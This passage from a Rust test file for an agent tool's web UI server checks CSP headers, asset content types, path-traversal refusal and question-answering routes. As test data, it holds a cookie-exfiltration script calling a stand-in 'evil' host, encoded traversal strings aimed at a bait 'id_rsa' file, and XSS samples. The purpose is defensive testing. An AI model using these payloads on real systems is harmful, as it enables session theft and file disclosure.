7944        body: &[u8],
7945    ) -> Res {
7946        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7947        for (name, value) in headers {
7948            head.push_str(&format!("{name}: {value}\r\n"));
7949        }
7950        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7951        let mut socket = tokio::net::TcpStream::connect(addr)
7952            .await
7953            .expect("connect to the test server");
7954        socket
7955            .write_all(head.as_bytes())
7956            .await
7957            .expect("write request head");
7958        socket.write_all(body).await.expect("write request body");
7959        let mut raw = Vec::new();
7960        socket.read_to_end(&mut raw).await.expect("read response");
7961        let split = raw
7962            .windows(4)
7963            .position(|w| w == b"\r\n\r\n")
7964            .expect("a header block");
7965        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7966        let bytes = raw[split + 4..].to_vec();
7967        let status = head
7968            .lines()
7969            .next()
7970            .and_then(|line| line.split_whitespace().nth(1))
7971            .and_then(|code| code.parse().ok())
7972            .expect("a status line");
7973        Res {
7974            status,
7975            headers: head.to_lowercase(),
7976            head,
7977            body: String::from_utf8_lossy(&bytes).into_owned(),
7978            bytes,
7979        }
7980    }
7981
7982    /// A run on disk, without touching the process-global magi home.
7983    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7984        let mut state = RunState::new(
7985            PathBuf::from("/repo/magi"),
7986            "main".to_owned(),
7987            "0123456789abcdef".to_owned(),
7988            "Add a web UI\n\nMobile first.".to_owned(),
7989            Config::default(),
7990        );
7991        state.id = id.to_owned();
7992        state.status = status;
7993        let dir = runs.join(id);
7994        std::fs::create_dir_all(&dir).expect("run dir");
7995        std::fs::write(
7996            dir.join("run.json"),
7997            serde_json::to_string_pretty(&state).expect("serialize run"),
7998        )
7999        .expect("write run.json");
8000    }
8001
8002    /// Same as [`write_run`], but against a named repository rather than the
8003    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
8004    /// spread across more than one.
8005    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8006        let mut state = RunState::new(
8007            PathBuf::from(repo),
8008            "main".to_owned(),
8009            "0123456789abcdef".to_owned(),
8010            "task".to_owned(),
8011            Config::default(),
8012        );
8013        state.id = id.to_owned();
8014        state.status = status;
8015        let dir = runs.join(id);
8016        std::fs::create_dir_all(&dir).expect("run dir");
8017        std::fs::write(
8018            dir.join("run.json"),
8019            serde_json::to_string_pretty(&state).expect("serialize run"),
8020        )
8021        .expect("write run.json");
8022    }
8023
8024    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8025        let body = serde_json::json!({
8026            "schema": 1,
8027            "pid": 4242,
8028            "started_at": Timestamp::now().to_string(),
8029            "updated_at": updated_at.to_string(),
8030            "idle": false,
8031            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8032            "completed": 7,
8033            "polls": 143,
8034        });
8035        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8036    }
8037
8038    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8039    ///
8040    /// No test in this file may start the real loop - see [`Ui::launch`] for
8041    /// why - so this stands in for the only thing the routes need a loop to
8042    /// do: keep running until `Stop` is set, then return. A real
8043    /// `serve_until` here would resolve its queue and its status file through
8044    /// the process-global magi home, claim whatever it found in the
8045    /// operator's live backlog, overwrite the status file of the `magi serve`
8046    /// that owns it, and spend real agent quota on a real competition.
8047    fn launch_idle(
8048        _opts: daemon::Opts,
8049        stop: daemon::Stop,
8050    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8051        Box::pin(async move {
8052            while !stop.stopped() {
8053                tokio::time::sleep(Duration::from_millis(2)).await;
8054            }
8055            Ok(())
8056        })
8057    }
8058
8059    /// A loop that fails on the way up, the way one whose home has gone
8060    /// read-only does.
8061    fn launch_broken(
8062        _opts: daemon::Opts,
8063        _stop: daemon::Stop,
8064    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8065        // The stand-in dies instantly, so a restarted one can record its own
8066        // failure before the start's response is read. The second attempt
8067        // therefore fails with a different message, to tell a stale error
8068        // from a fresh one.
8069        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8070        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8071        Box::pin(async move {
8072            Err(anyhow::anyhow!(if first {
8073                "publish the daemon status file: read-only file system"
8074            } else {
8075                "the restarted stand-in failed as well"
8076            }))
8077        })
8078    }
8079
8080    /// The address the parking loop knocks on, and what it heard there.
8081    ///
8082    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8083    /// capture a fixture's address; this is how it is handed one. Only
8084    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8085    /// these, so nothing else in this binary can race them.
8086    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8087    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8088
8089    /// A loop that, once it is asked to stop, checks the deck still answers
8090    /// before it goes.
8091    ///
8092    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8093    /// so the request it makes is strictly inside the park window - no sleep
8094    /// and no polling needed to be sure of that.
8095    fn launch_knocking_on_the_way_out(
8096        _opts: daemon::Opts,
8097        stop: daemon::Stop,
8098    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8099        Box::pin(async move {
8100            while !stop.stopped() {
8101                tokio::time::sleep(Duration::from_millis(2)).await;
8102            }
8103            let addr = PARK_KNOCK
8104                .lock()
8105                .expect("park knock")
8106                .expect("the test set an address");
8107            let heard = request(addr, "GET", "/api/health", None).await.status;
8108            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8109            Ok(())
8110        })
8111    }
8112
8113    /// The loop view once `want` accepts it.
8114    ///
8115    /// Polled rather than asserted straight after the POST because stopping
8116    /// is deliberately not instant - that is the contract - and rather than
8117    /// slept through because a fixed wait is either flaky or slow.
8118    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8119    /// finite, so a genuine hang fails the test instead of hanging the
8120    /// suite.
8121    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8122        for _ in 0..SETTLE_STEPS {
8123            let view = fx.get("/api/loop").await.json();
8124            if want(&view) {
8125                return view;
8126            }
8127            tokio::time::sleep(Duration::from_millis(10)).await;
8128        }
8129        panic!(
8130            "the loop never settled: {}",
8131            fx.get("/api/loop").await.json()
8132        );
8133    }
8134
8135    /// File an open question directly in the store the server reads.
8136    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8137        let store = fx.questions();
8138        let mut q = Question::new(
8139            "20260902-000000-beef".to_owned(),
8140            "implement".to_owned(),
8141            "impl-A".to_owned(),
8142            summary.to_owned(),
8143            "because it matters".to_owned(),
8144            choices.iter().map(|c| (*c).to_owned()).collect(),
8145        );
8146        store.put(&mut q).expect("put question");
8147        q.id
8148    }
8149
8150    /// A question with a panel the server can serve, plus the named assets.
8151    ///
8152    /// Written through `Questions::put_panel` rather than by laying out the
8153    /// directory here, so these tests exercise the same on-disk shape the
8154    /// agents produce and cannot pass against a layout only the tests know.
8155    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8156        let store = fx.questions();
8157        let mut q = Question::new(
8158            "20260902-000000-beef".to_owned(),
8159            "land".to_owned(),
8160            "fix".to_owned(),
8161            "Merge this?".to_owned(),
8162            "the diff is in the panel".to_owned(),
8163            vec!["merge".to_owned(), "hold".to_owned()],
8164        );
8165        // Staged outside the questions root, because `put_panel` copies from
8166        // wherever the agent left its files.
8167        let staging = fx.home.path().join("staging");
8168        std::fs::create_dir_all(&staging).expect("staging dir");
8169        let sources: Vec<PathBuf> = assets
8170            .iter()
8171            .map(|(name, bytes)| {
8172                let path = staging.join(name);
8173                std::fs::write(&path, bytes).expect("write staged asset");
8174                path
8175            })
8176            .collect();
8177        store
8178            .put_panel(&mut q, html, &sources)
8179            .expect("write the panel");
8180        store.put(&mut q).expect("put question");
8181        q.id
8182    }
8183
8184    /// A talk on disk, without talking to a model.
8185    ///
8186    /// Written as JSON straight into the store the server reads, because the
8187    /// only constructor `talk::begin` offers takes no turn but still requires
8188    /// a real caller-visible flow. The one thing this cannot make up is the
8189    /// seat, so it is built with the real `SeatState::new` and serialized -
8190    /// the alternative, hand-writing that object, would make these tests fail
8191    /// the day the seat gains a field.
8192    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8193        seed_talk_at(&fx.talks(), id, status)
8194    }
8195
8196    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8197        std::fs::create_dir_all(store.root()).expect("talks dir");
8198        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8199            .expect("serialize a seat");
8200        let body = serde_json::json!({
8201            "schema": 1,
8202            "id": id,
8203            "repo": "/repo/magi",
8204            "agent": "mock",
8205            "status": status,
8206            "turns": [],
8207            "created_at": Timestamp::now().to_string(),
8208            "updated_at": Timestamp::now().to_string(),
8209            "seat": seat,
8210        });
8211        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8212        store.get(id).expect("the seeded talk has to be readable");
8213        id.to_owned()
8214    }
8215
8216    #[tokio::test]
8217    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8218        let fx = Fixture::start().await;
8219        let id = panel(
8220            &fx,
8221            "<h1>Merge?</h1><img src=\"diff.svg\">",
8222            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8223        );
8224
8225        for path in [
8226            format!("/api/questions/{id}/panel"),
8227            format!("/api/questions/{id}/asset/diff.svg"),
8228        ] {
8229            let res = fx.get(&path).await;
8230            assert_eq!(res.status, 200, "{path}: {}", res.body);
8231            // The whole string, not a substring. A weakened directive - an
8232            // `img-src *` that lets a panel beacon out to a remote host, a
8233            // `script-src` anything, a missing `form-action` that lets it post
8234            // the owner's decision to a third party - has to fail here, and a
8235            // `contains` assertion would let every one of those through.
8236            assert_eq!(
8237                res.header("content-security-policy"),
8238                Some(
8239                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8240                     font-src data:; base-uri 'none'; form-action 'none'; \
8241                     frame-ancestors 'self'"
8242                ),
8243                "{path} is the only thing between a hostile panel and the tailnet"
8244            );
8245            assert_eq!(
8246                res.header("x-content-type-options"),
8247                Some("nosniff"),
8248                "{path}: a browser must not re-decide the type we sent"
8249            );
8250            assert_eq!(
8251                res.header("referrer-policy"),
8252                Some("no-referrer"),
8253                "{path}: a panel must not leak the question id off the machine"
8254            );
8255
8256            // The front end mounts the frame only after a `HEAD` says the
8257            // panel is there, so `HEAD` has to answer with the same status and
8258            // the same policy as `GET` - a preflight that came back without
8259            // the CSP would mean a frame mounted on an unverified promise.
8260            let pre = fx.head(&path).await;
8261            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8262            assert_eq!(
8263                pre.header("content-security-policy"),
8264                res.header("content-security-policy"),
8265                "{path}: the preflight carries the same policy"
8266            );
8267            assert_eq!(
8268                pre.header("content-type"),
8269                res.header("content-type"),
8270                "{path}: the preflight carries the same type"
8271            );
8272        }
8273    }
8274
8275    #[tokio::test]
8276    async fn a_panel_reaches_the_browser_byte_for_byte() {
8277        let fx = Fixture::start().await;
8278        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8279        // tag, an entity, and a multi-byte character. The sandbox is what makes
8280        // this safe, so nothing here may be rewritten on the way out - a
8281        // rewritten diff is a diff the owner cannot trust.
8282        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8283        let id = panel(&fx, html, &[]);
8284
8285        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8286
8287        assert_eq!(res.status, 200);
8288        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8289        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8290        assert_eq!(
8291            res.header("content-disposition"),
8292            None,
8293            "the panel itself is rendered in the frame, not downloaded"
8294        );
8295    }
8296
8297    #[tokio::test]
8298    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8299        let fx = Fixture::start().await;
8300        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8301        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8302        let id = panel(
8303            &fx,
8304            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8305            &[("diff.svg", svg), ("shot.png", png)],
8306        );
8307
8308        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8309        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8310
8311        assert_eq!(as_svg.status, 200);
8312        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8313        // An SVG is XML that may carry script. Inside the panel it is an
8314        // `<img src>` and the script cannot run; opened at the top level it
8315        // would be a document on magi's own origin, so the browser is told to
8316        // download it instead of rendering it.
8317        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8318
8319        assert_eq!(as_png.status, 200);
8320        assert_eq!(as_png.header("content-type"), Some("image/png"));
8321        assert_eq!(
8322            as_png.header("content-disposition"),
8323            None,
8324            "a raster image has no execution surface, so tapping it still shows it"
8325        );
8326        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8327    }
8328
8329    #[tokio::test]
8330    async fn an_html_asset_is_never_served_as_html() {
8331        let fx = Fixture::start().await;
8332        let id = panel(
8333            &fx,
8334            "<p>see the notes</p>",
8335            &[
8336                (
8337                    "notes.html",
8338                    b"<script>fetch('http://evil/'+document.cookie)</script>",
8339                ),
8340                ("hook.js", b"fetch('http://evil/')"),
8341                ("data.json", b"{}"),
8342                ("HEADLINE.TXT", b"plain"),
8343            ],
8344        );
8345
8346        for name in ["notes.html", "hook.js", "data.json"] {
8347            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8348            assert_eq!(res.status, 200, "{name}: {}", res.body);
8349            // Serving this as text/html would be a way to reach agent markup
8350            // at the top level of the operator's browser, outside the frame's
8351            // sandbox and outside its CSP - which is the whole thing the panel
8352            // design exists to prevent. Unlisted types are downloads.
8353            assert_eq!(
8354                res.header("content-type"),
8355                Some("application/octet-stream"),
8356                "{name} must not be a type the browser will execute or render"
8357            );
8358        }
8359        // The whitelist is matched case-insensitively, so an agent shouting the
8360        // extension still gets a readable file rather than a download.
8361        let txt = fx
8362            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8363            .await;
8364        assert_eq!(
8365            txt.header("content-type"),
8366            Some("text/plain; charset=utf-8")
8367        );
8368    }
8369
8370    #[tokio::test]
8371    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8372        let fx = Fixture::start().await;
8373        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8374        // Something outside the panel directory that a traversal would reach if
8375        // one got through, so a passing test is not merely "the file was
8376        // missing anyway".
8377        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8378
8379        // Decoded before this server's handler sees them: axum percent-decodes
8380        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
8381        // string with a NUL in it. All three look like ordinary single-segment
8382        // filenames to the router, so the router passes them through and
8383        // `valid_asset_name` is what refuses them - for the literal `..`, and
8384        // for `/`, `\` and NUL not being in the permitted character set.
8385        for encoded in [
8386            "%2e%2e%2fid_rsa",
8387            "..%2fid_rsa",
8388            "..%5cid_rsa",
8389            "%2e%2e%5cid_rsa",
8390            "diff%00.svg",
8391            "..",
8392            ".hidden",
8393            "%2e%2e%2f%2e%2e%2fid_rsa",
8394        ] {
8395            let res = fx
8396                .get(&format!("/api/questions/{id}/asset/{encoded}"))
8397                .await;
8398            assert_eq!(
8399                res.status, 400,
8400                "`{encoded}` has to be refused by name, not looked up: {}",
8401                res.body
8402            );
8403            assert!(res.json()["error"].is_string(), "{}", res.body);
8404        }
8405
8406        // Not decoded, and never this handler's problem: a real slash makes the
8407        // request one segment too long for `/api/questions/{id}/asset/{name}`,
8408        // so axum's router has no route to match and answers before any code
8409        // here runs. Asserted so that a future route with a wildcard segment
8410        // cannot quietly open this door.
8411        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8412            let res = fx
8413                .get(&format!("/api/questions/{id}/asset/{literal}"))
8414                .await;
8415            assert_eq!(
8416                res.status, 404,
8417                "`{literal}` must not match the asset route at all: {}",
8418                res.body
8419            );
8420        }
8421    }
8422
8423    #[tokio::test]
8424    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8425        let fx = Fixture::start().await;
8426        let plain = ask(&fx, "Which backend?", &["SQLite"]);
8427        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8428
8429        // A question nobody wrote a panel for. The client preflights with HEAD
8430        // and cannot see inside a sandboxed frame, so this must be a status and
8431        // not an empty page.
8432        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8433        assert_eq!(none.status, 404, "{}", none.body);
8434        assert!(none.json()["error"].is_string(), "{}", none.body);
8435        assert_eq!(
8436            fx.head(&format!("/api/questions/{plain}/panel"))
8437                .await
8438                .status,
8439            404,
8440            "the preflight is the only way the client can learn this"
8441        );
8442
8443        // A name that is perfectly legal and simply is not there.
8444        let missing = fx
8445            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8446            .await;
8447        assert_eq!(missing.status, 404, "{}", missing.body);
8448        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8449
8450        // A question that does not exist at all, on both routes.
8451        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8452        assert_eq!(
8453            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8454            404
8455        );
8456    }
8457
8458    #[tokio::test]
8459    async fn a_run_with_an_open_question_reads_as_waiting() {
8460        let fx = Fixture::start().await;
8461        let run = "20260902-000000-beef".to_owned();
8462        write_run(&fx.runs(), &run, RunStatus::Implementing);
8463
8464        let before = fx.get("/api/runs").await.json();
8465        assert_eq!(before[0]["waiting"], false, "{before}");
8466
8467        let store = fx.questions();
8468        let mut q = Question::new(
8469            run.clone(),
8470            "implement".to_owned(),
8471            "impl-A".to_owned(),
8472            "Which backend?".to_owned(),
8473            String::new(),
8474            vec!["SQLite".to_owned()],
8475        );
8476        store.put(&mut q).expect("put");
8477
8478        let during = fx.get("/api/runs").await.json();
8479        assert_eq!(during[0]["waiting"], true, "{during}");
8480
8481        // Answered: the run is moving again, and the flag has to follow without
8482        // anything having rewritten run.json.
8483        q.answer(Answer::Choice("SQLite".to_owned()))
8484            .expect("answer");
8485        store.put(&mut q).expect("put");
8486        let after = fx.get("/api/runs").await.json();
8487        assert_eq!(after[0]["waiting"], false, "{after}");
8488    }
8489
8490    #[tokio::test]
8491    async fn an_open_question_is_listed_and_counted_by_health() {
8492        let fx = Fixture::start().await;
8493        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8494
8495        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8496        let listed = fx.get("/api/questions").await.json();
8497        assert_eq!(listed.as_array().expect("array").len(), 1);
8498        assert_eq!(listed[0]["id"], id);
8499        assert_eq!(listed[0]["status"], "open");
8500        assert_eq!(listed[0]["choices"][1], "Redis");
8501        // The count is what makes the phone's indicator honest: it is the one
8502        // number meaning nothing will move until a human acts.
8503        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8504    }
8505
8506    #[tokio::test]
8507    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8508        let fx = Fixture::start().await;
8509        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8510        let path = format!("/api/questions/{id}/answer");
8511
8512        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8513        assert_eq!(res.status, 200, "{}", res.body);
8514        let body = res.json();
8515        assert_eq!(body["status"], "answered");
8516        assert_eq!(body["answer"]["choice"], "Redis");
8517
8518        // Answered from the terminal in between the list and the tap: the UI
8519        // must be able to tell this from a bad request, so it can show the
8520        // recorded answer instead of an error.
8521        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8522        assert_eq!(again.status, 409, "{}", again.body);
8523        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8524    }
8525
8526    #[tokio::test]
8527    async fn saying_something_appends_a_turn_without_answering() {
8528        let fx = Fixture::start().await;
8529        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8530        let path = format!("/api/questions/{id}/say");
8531
8532        let res = fx
8533            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8534            .await;
8535        assert_eq!(res.status, 200, "{}", res.body);
8536        let body = res.json();
8537        assert_eq!(body["status"], "open", "talking back is not a decision");
8538        assert_eq!(body["answer"], Value::Null);
8539        assert_eq!(body["thread"][0]["who"], "operator");
8540        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8541        assert_eq!(body["waiting_on_agent"], true);
8542        // Still open, still counted, still exactly one question.
8543        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8544    }
8545
8546    #[tokio::test]
8547    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8548        let fx = Fixture::start().await;
8549        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8550
8551        let list = fx.get("/api/questions").await.json();
8552        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8553
8554        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8555        assert_eq!(res.status, 409, "{}", res.body);
8556        let q = fx.questions().get(&id).unwrap();
8557        assert!(q.status.open());
8558        assert!(q.consult.is_none());
8559    }
8560
8561    #[tokio::test]
8562    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8563        let fx = Fixture::start().await;
8564        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8565        let cfg = Config {
8566            agents: vec![crate::config::AgentSpec {
8567                id: "mock".to_owned(),
8568                kind: crate::config::AgentKind::Command,
8569                model: None,
8570                command: vec!["true".to_owned()],
8571                extra_args: Vec::new(),
8572                env: Default::default(),
8573                prompt_delivery: None,
8574            }],
8575            ..Config::default()
8576        };
8577        let talk = crate::talk::begin(
8578            &fx.talks(),
8579            &cfg,
8580            fx.home.path().to_path_buf(),
8581            Some("mock"),
8582        )
8583        .unwrap();
8584        let mut task = Task::new(
8585            "t".to_owned(),
8586            "Do it".to_owned(),
8587            PathBuf::from("/repo/magi"),
8588            Source::Agent {
8589                run: talk.id.clone(),
8590                node: crate::queue::CHAT_NODE.to_owned(),
8591            },
8592        );
8593        task.start("20260902-000000-beef".to_owned());
8594        fx.queue().put(&mut task).unwrap();
8595
8596        let list = fx.get("/api/questions").await.json();
8597        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8598        assert_eq!(
8599            list[0]["choices"],
8600            serde_json::json!(["SQLite", "Redis"]),
8601            "the hand-over is never a choice"
8602        );
8603        fx.questions()
8604            .update(&id, |q| {
8605                q.node = crate::land::APPROVAL_NODE.into();
8606                q.choices = vec!["merge".into(), "hold".into()];
8607                Ok(())
8608            })
8609            .unwrap();
8610        let list = fx.get("/api/questions").await.json();
8611        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8612        let _ = id;
8613    }
8614
8615    #[tokio::test]
8616    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8617        let fx = Fixture::start().await;
8618        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8619        fx.questions()
8620            .update(&id, |q| {
8621                q.node = crate::land::APPROVAL_NODE.into();
8622                q.choices = vec!["merge".into(), "hold".into()];
8623                Ok(())
8624            })
8625            .unwrap();
8626        let cfg = Config {
8627            agents: vec![crate::config::AgentSpec {
8628                id: "mock".to_owned(),
8629                kind: crate::config::AgentKind::Command,
8630                model: None,
8631                command: vec!["true".to_owned()],
8632                extra_args: Vec::new(),
8633                env: Default::default(),
8634                prompt_delivery: None,
8635            }],
8636            ..Config::default()
8637        };
8638        // Not a git working tree, so its `magi.toml` is read from disk.
8639        let repo = fx.home.path().join("chat-repo");
8640        std::fs::create_dir_all(&repo).unwrap();
8641        let toml = repo.join("magi.toml");
8642        std::fs::write(&toml, "this is = = not toml").unwrap();
8643        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8644        let mut task = Task::new(
8645            "t".to_owned(),
8646            "Do it".to_owned(),
8647            PathBuf::from("/repo/magi"),
8648            Source::Agent {
8649                run: talk.id.clone(),
8650                node: crate::queue::CHAT_NODE.to_owned(),
8651            },
8652        );
8653        task.start("20260902-000000-beef".to_owned());
8654        fx.queue().put(&mut task).unwrap();
8655
8656        let path = format!("/api/questions/{id}/consult");
8657        let res = fx.post(&path, None).await;
8658        assert!(res.status >= 400, "{}", res.body);
8659        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8660        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8661
8662        std::fs::write(&toml, "").unwrap();
8663        let res = fx.post(&path, None).await;
8664        assert_eq!(res.status, 202, "{}", res.body);
8665        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8666        let q = fx.questions().get(&id).unwrap();
8667        assert!(q.status.open());
8668        assert!(q.answer.is_none());
8669        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8670    }
8671
8672    #[tokio::test]
8673    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8674        let fx = Fixture::start().await;
8675        let store = fx.questions();
8676        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8677        assert_eq!(
8678            fx.get("/api/health").await.json()["questions_needs_owner"],
8679            1
8680        );
8681
8682        // The owner asks back instead of deciding: the ask bar, the nav badge
8683        // and the title must stop naming this question, because there is
8684        // nothing to decide until the agent answers - `status` alone cannot
8685        // say that, which is the whole reason `questions_needs_owner` exists
8686        // alongside `questions_open`.
8687        let res = fx
8688            .post(
8689                &format!("/api/questions/{id}/say"),
8690                Some(r#"{"body":"why not Postgres?"}"#),
8691            )
8692            .await;
8693        assert_eq!(res.status, 200, "{}", res.body);
8694        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8695        assert_eq!(
8696            fx.get("/api/health").await.json()["questions_needs_owner"],
8697            0,
8698            "waiting on the agent is not waiting on the owner"
8699        );
8700
8701        // `magi ask --thread` replying is what brings the owner count back -
8702        // the same event that would resume the CLI call blocked in `magi
8703        // ask`.
8704        let mut q = store.get(&id).expect("get");
8705        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8706            .expect("reply");
8707        store.put(&mut q).expect("put");
8708        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8709        assert_eq!(
8710            fx.get("/api/health").await.json()["questions_needs_owner"],
8711            1,
8712            "the agent's reply is what should light the banner back up"
8713        );
8714    }
8715
8716    #[tokio::test]
8717    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8718        let fx = Fixture::start().await;
8719        let store = fx.questions();
8720
8721        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8722        let res = fx
8723            .post(
8724                &format!("/api/questions/{empty_id}/say"),
8725                Some(r#"{"body":"   "}"#),
8726            )
8727            .await;
8728        assert_eq!(res.status, 400, "{}", res.body);
8729
8730        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8731        let mut answered = store.get(&answered_id).expect("get");
8732        answered
8733            .answer(Answer::Choice("SQLite".to_owned()))
8734            .expect("answer");
8735        store.put(&mut answered).expect("put");
8736        let res = fx
8737            .post(
8738                &format!("/api/questions/{answered_id}/say"),
8739                Some(r#"{"body":"still there?"}"#),
8740            )
8741            .await;
8742        assert_eq!(res.status, 409, "{}", res.body);
8743
8744        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8745        let mut abandoned = store.get(&abandoned_id).expect("get");
8746        abandoned.abandon("timed out");
8747        store.put(&mut abandoned).expect("put");
8748        let res = fx
8749            .post(
8750                &format!("/api/questions/{abandoned_id}/say"),
8751                Some(r#"{"body":"still there?"}"#),
8752            )
8753            .await;
8754        assert_eq!(res.status, 409, "{}", res.body);
8755    }
8756
8757    #[tokio::test]
8758    async fn an_answer_the_question_does_not_offer_is_refused() {
8759        let fx = Fixture::start().await;
8760        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8761        let path = format!("/api/questions/{id}/answer");
8762
8763        for body in [
8764            r#"{"choice":"Postgres"}"#,
8765            r#"{"text":"whatever you think"}"#,
8766            r#"{"choice":"Redis","text":"both"}"#,
8767            r#"{}"#,
8768        ] {
8769            let res = fx.post(&path, Some(body)).await;
8770            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8771            assert!(res.json()["error"].is_string(), "{}", res.body);
8772        }
8773        // Nothing above may have answered it.
8774        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8775    }
8776
8777    #[tokio::test]
8778    async fn a_free_text_question_takes_text_and_not_a_choice() {
8779        let fx = Fixture::start().await;
8780        let id = ask(&fx, "What should the flag be called?", &[]);
8781        let path = format!("/api/questions/{id}/answer");
8782
8783        assert_eq!(
8784            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8785            400
8786        );
8787        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8788        assert_eq!(res.status, 200, "{}", res.body);
8789        assert_eq!(res.json()["answer"]["text"], "--json");
8790    }
8791
8792    #[tokio::test]
8793    async fn an_unknown_question_is_a_json_404() {
8794        let fx = Fixture::start().await;
8795        let res = fx
8796            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8797            .await;
8798        assert_eq!(res.status, 404, "{}", res.body);
8799        assert!(res.json()["error"].is_string());
